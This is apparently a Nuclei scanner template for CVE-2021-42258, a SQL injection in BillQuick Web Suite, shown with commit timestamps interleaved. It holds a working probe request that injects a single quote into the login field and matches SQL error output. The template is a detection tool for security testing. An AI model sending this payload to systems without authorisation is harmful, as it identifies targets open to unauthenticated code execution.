2021-10-26 08:26:22 +00:00
id : CVE-2021-42258
info :
2022-02-28 14:09:26 +00:00
name : BillQuick Web Suite SQL Injection
2021-10-26 08:26:22 +00:00
author : dwisiswant0
2021-10-29 10:29:18 +00:00
severity : critical
2022-04-22 10:38:41 +00:00
description : BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as
MSSQLSERVER$ via xp_cmdshell.
2021-10-26 09:02:23 +00:00
reference :
- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
2021-10-29 10:29:18 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-10-29 10:29:18 +00:00
cve-id : CVE-2021-42258
cwe-id : CWE-89
2022-06-01 21:31:44 +00:00
tags : cve,cve2021,sqli,billquick,cisa
2021-10-26 08:26:22 +00:00
requests :
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST / HTTP/1.1
Host : {{Hostname}}
Referer : {{BaseURL}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
2022-04-29 05:04:34 +00:00
__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("Â{{VSÂ}}")}}&__VIEWSTATEGENERATOR={{url_encode("Â{{VSGÂ}}")}}&__EVENTVALIDATION={{url_encode("Â{{EVÂ}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
2021-10-26 08:26:22 +00:00
cookie-reuse : true
extractors :
- type : xpath
name : VS
internal : true
attribute : value
xpath :
- "/html/body/form/div/input[@id='__VIEWSTATE']"
- type : xpath
name : VSG
internal : true
attribute : value
xpath :
- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
- type : xpath
name : EV
internal : true
attribute : value
xpath :
- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
matchers :
- type : word
part : body
2021-10-26 08:55:37 +00:00
condition : and
2021-10-26 08:26:22 +00:00
words :
2021-10-26 08:55:37 +00:00
- "System.Data.SqlClient.SqlException"
2021-10-26 08:26:22 +00:00
- "Incorrect syntax near"
2021-10-26 08:55:37 +00:00
- "_ACCOUNTLOCKED"
2022-02-28 14:09:26 +00:00
# Enhanced by mp on 2022/02/27